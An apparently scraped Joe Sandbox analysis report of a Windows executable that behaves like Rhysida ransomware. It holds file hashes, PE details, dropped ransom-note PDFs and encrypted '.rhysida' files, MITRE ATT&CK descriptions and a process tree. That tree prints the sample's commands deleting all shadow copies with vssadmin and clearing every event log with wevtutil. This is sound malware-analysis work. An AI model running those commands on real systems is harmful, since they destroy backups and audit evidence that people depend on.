Preview:	%PDF-1.4.%...1 0 obj.<<./Title ()./Creator (...w.k.h.t.m.l.t.o.p.d.f. .0...1.2...5)./Producer (...Q.t. .5...1.2...8)./CreationDate (D:20230923214113-04'00').>>.endobj.2 0 obj.<<./Type /Catalog./Pages 3 0 R.>>.endobj.4 0 obj.<<./Type /ExtGState./SA true./SM 0.02./ca 1.0./CA 1.0./AIS false./SMask /None>>.endobj.5 0 obj.[/Pattern /DeviceRGB].endobj.7 0 obj.<<./Type /XObject./Subtype /Image./Width 1400./Height 600./BitsPerComponent 8./ColorSpace /DeviceGray./Length 8 0 R./Filter /FlateDecode.>>.stream.x....\|.......B.#E.PCQ.ti..R.T.(O..T..A@.,..A.JQJ....R...AJ.@.-!=9ofv7.2.N.Y....cc2s......[8..................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0502503949665938
Encrypted:	false
SSDEEP:	192:bPgeNqa+0l5rLj/lwKczuiFMZ24lO8+Iz:jgeoall5rLjYzuiFMY4lO8+I
MD5:	F3B4C5344A5D271506928ADB4D58AEAF
SHA1:	6B75EDD4E9BC3B1180F4DE73DA5F30904B26B406
SHA-256:	85BEBE513A2E8CE4FE645FEE4306C64EE7271083B78FEF40BEDF9C7F99F6D382
SHA-512:	1F720FE04DFA9870CF7E937F2E823F5C42F08ECB8ECC5B25444E386BDC222EE07721CA759874B06B5B63F5B6A0A4227FE7EC9F7286E0A58E34E4B8D6C92AB25E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.3.5.8.9.3.9.7.3.9.0.1.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.3.5.8.9.4.2.5.0.4.6.2.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.8.9.7.f.2.c.a.-.2.1.b.1.-.4.7.1.f.-.9.b.0.5.-.9.1.f.f.b.9.d.f.7.7.5.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.2.b.5.9.a.5.1.-.5.4.9.7.-.4.5.9.e.-.8.2.c.b.-.a.a.9.9.3.c.8.7.b.8.6.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.A.c.r.o.b.a.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.c.r.o.b.a.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.b.4.-.0.0.0.1.-.0.0.1.4.-.b.3.0.4.-.a.1.5.f.e.5.1.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.e.4.2.d.8.b.7.c.d.d.3.7.d.5.3.1.b.1.7.9.8.e.3.f.e.a.c.0.7.f.f.0.0.0.0.0.9.0.4.!.0.0.0.0.5.a.f.1.d.e.2.e.2.2.6.b.7.0.b.a.5.1.a.8.4.8.f.0.3.1.5.5.f.f.9.1.0.a.c.c.3.6.7.0.!.A.c.r.o.b.a.t...e.x.e.....T.

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	859136
Entropy (8bit):	2.090194722023879
Encrypted:	false
SSDEEP:	6144:pvzA1hp9aG5YWtSd/u1mfAMjk/dsb3AieMCT2YBawgYTI/x9VfxSsNd0KrDgtHpW:xG02odIySs
MD5:	523965BE7CE895BF427B4A4331CDD1A8
SHA1:	DE4B9608274D5FD9783FA27F18F98F8EBAF98632
SHA-256:	9548E0280D9B214BCF63623E49A8B7847803A56E4B1CD92EC6547508F575BB5D
SHA-512:	F1E112CC51D262B3470C7659D7674E088744C433D8E445B9479CBB60214D6369657B6A4F6F65AD7388BE8AF1E6100427E903E99A8C6E07E61916CB99D948CE68
Malicious:	false
Preview:	............................................................................................................................................................................-...)...A12_acrobat_multiFile_generic_dark_32.pdf...................................................................................................8...........................................................................................................%...!...A12_acrobat_parcel_generic_64.pdf...........................................................................................................9..............................................................................................................&...A12_acrobat_parcel_generic_dark_32.pdf......................................................................................................:..............................................................................................................&...A12_acrobat_parcel_generic_dark_64.pdf..............

File type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.89729860758068
TrID:	Win64 Executable (generic) (12005/4) 74.95% Generic Win/DOS Executable (2004/3) 12.51% DOS Executable Generic (2002/1) 12.50% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.04%
File name:	5PPbtKZ2hR.exe
File size:	509'440 bytes
MD5:	c43f12b8330643c72d21bad3b6cfcf82
SHA1:	f453f42de8151323472dbe35b5d48084e0012216
SHA256:	a0d4d52885b654cbfeefd194359936072133519c2bc7e8f68b7b668e59c67b94
SHA512:	987ce1e4dd8f69100b1514a1c9b0a2abad5fa028dc9a22532fb088308596e8f372d30cb89f140927c459421febe762cfe3668ec21b9deb546e7a50266d605efe
SSDEEP:	6144:UFoCbN9uRh5W8iZuYtWrJhN7L6aMFNCk0Y+sPgtuMf9opaMPdZXT:qvZTs7N78CrZsPgUG9oDlZ
TLSH:	B9B48C17D6A3566DC12781706F4766736F31BC4C01B0B9AF0291CAF26F61B706BAE329
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...y..e........../...........................@...........................................`... ............................

Entrypoint:	0x4014d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x650F9479 [Sun Sep 24 01:44:25 2023 UTC]
TLS Callbacks:	0x447ba0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3e5f19d10bbdbe11ac872f983491b498

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x88000	0x1358	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x79000	0x22c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x8b020	0x28	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x4a1c8	0x4a200	06019b1dbad283c0388f0786ad676a05	False	0.4712202255480607	data	6.376626500362714	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x4c000	0x1d100	0x1d200	51e879626ec8ef1158c08dd7a6692010	False	0.8453426770386266	dBase III DBT, version number 0, next free block index 10, 1st item "\246\235\370\352\201\363\341t\246\264j?=\021\372\220\262"	7.747114245666101	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x6a000	0xed30	0xee00	6aa5095fa0e832ad5fd2efa18b5d99f1	False	0.29347754726890757	data	5.772796753068274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0x79000	0x22c8	0x2400	c31d99ac55cd5a9dff492e916715f4f4	False	0.4758029513888889	data	5.5533952282914525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0x7c000	0x222c	0x2400	f5aea3cda9fc66286a066f8873644acc	False	0.1802300347222222	data	4.2738233249504525	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x7f000	0x8420	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x88000	0x1358	0x1400	ecd881891ccaa462ea0eda51d94922e4	False	0.2626953125	data	4.033196946355422	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x8a000	0x70	0x200	ee27721499572230106b20a1537a9cf0	False	0.080078125	data	0.3349738039007212	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x8b000	0x68	0x200	cbbb05d9d190bfcb0312d47bb82ca5df	False	0.060546875	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

DLL	Import
KERNEL32.DLL	AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateSemaphoreA, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetFileAttributesA, GetHandleInformation, GetLastError, GetModuleFileNameW, GetProcessAffinityMask, GetStartupInfoA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDebuggerPresent, LeaveCriticalSection, OutputDebugStringA, QueryPerformanceCounter, RaiseException, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, RtlAddFunctionTable, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, SetEvent, SetLastError, SetProcessAffinityMask, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, Sleep, SuspendThread, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, UnhandledExceptionFilter, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject
ADVAPI32.dll	CryptAcquireContextA, CryptGenRandom
msvcrt.dll	__C_specific_handler, __dllonexit, __doserrno, __getmainargs, __initenv, __iob_func, __lconv_init, __pioinfo, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthreadex, _cexit, _endthreadex, _errno, _exit, _filelengthi64, _fileno, _findclose, _findfirst64, _fmode, _fullpath, _initterm, _lock, _lseeki64, _onexit, _setjmp, _stat64, _ultoa, _unlock, _write, abort, acos, calloc, exit, fclose, fflush, fgetpos, fopen, fprintf, fread, free, frexp, fseek, fsetpos, ftell, fwprintf, fwrite, malloc, memcmp, memcpy, memmove, memset, printf, raise, rand, realloc, rename, signal, sprintf, srand, strcat, strcmp, strcpy, strlen, strncmp, strncpy, system, vfprintf, wcscpy, _time64, _snwprintf, _findnext64, longjmp, _strdup, _getcwd, _chdir
USER32.dll	MessageBoxW

Target ID:	0
Start time:	12:05:46
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\5PPbtKZ2hR.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\5PPbtKZ2hR.exe"
Imagebase:	0x400000
File size:	509'440 bytes
MD5 hash:	C43F12B8330643C72D21BAD3B6CFCF82
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	8
Start time:	12:08:51
Start date:	02/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CriticalBreachDetected.pdf"
Imagebase:	0x7ff78fb30000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	12:08:55
Start date:	02/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" --type=renderer /prefetch:1 "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CriticalBreachDetected.pdf"
Imagebase:
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	12:08:57
Start date:	02/10/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 4276 -s 1300
Imagebase:	0x7ff740610000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	12:09:18
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet
Imagebase:	0x7ff61bb40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	20
Start time:	12:09:19
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Imagebase:	0x7ff61bb40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5PPbtKZ2hR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\CriticalBreachDetected.pdf

C:\$WinREAgent\Scratch\CriticalBreachDetected.pdf

C:\CriticalBreachDetected.pdf

C:\Program Files\7-Zip\7-zip.chm.rhysida

C:\Program Files\7-Zip\CriticalBreachDetected.pdf

C:\Program Files\7-Zip\History.txt.rhysida

C:\Program Files\7-Zip\Lang\CriticalBreachDetected.pdf

C:\Program Files\7-Zip\descript.ion.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_FR\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\CriticalBreachDetected.pdf

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\fr_MA\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\CriticalBreachDetected.pdf

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\he_IL\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\CriticalBreachDetected.pdf

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\hu_HU\license.html.rhysida

C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\it_IT\CriticalBreachDetected.pdf

Windows Analysis Report
5PPbtKZ2hR.exe

Target ID:	22
Start time:	12:09:20
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Imagebase:	0x7ff61bb40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	26
Start time:	12:09:21
Start date:	02/10/2024
Path:	C:\Windows\System32\wevtutil.exe
Wow64 process (32bit):	false
Commandline:	wevtutil.exe cl "AirSpaceChannel"
Imagebase:	0x7ff62d310000
File size:	278'016 bytes
MD5 hash:	1AAE26BD68B911D0420626A27070EB8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	35
Start time:	12:09:22
Start date:	02/10/2024
Path:	C:\Windows\System32\wevtutil.exe
Wow64 process (32bit):	false
Commandline:	wevtutil.exe cl "General Logging"
Imagebase:	0x7ff62d310000
File size:	278'016 bytes
MD5 hash:	1AAE26BD68B911D0420626A27070EB8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	40
Start time:	12:09:23
Start date:	02/10/2024
Path:	C:\Windows\System32\wevtutil.exe
Wow64 process (32bit):	false
Commandline:	wevtutil.exe cl "Intel-iaLPSS2-GPIO2/Debug"
Imagebase:	0x7ff62d310000
File size:	278'016 bytes
MD5 hash:	1AAE26BD68B911D0420626A27070EB8D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.2%
Total number of Nodes:	933
Total number of Limit Nodes:	11

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre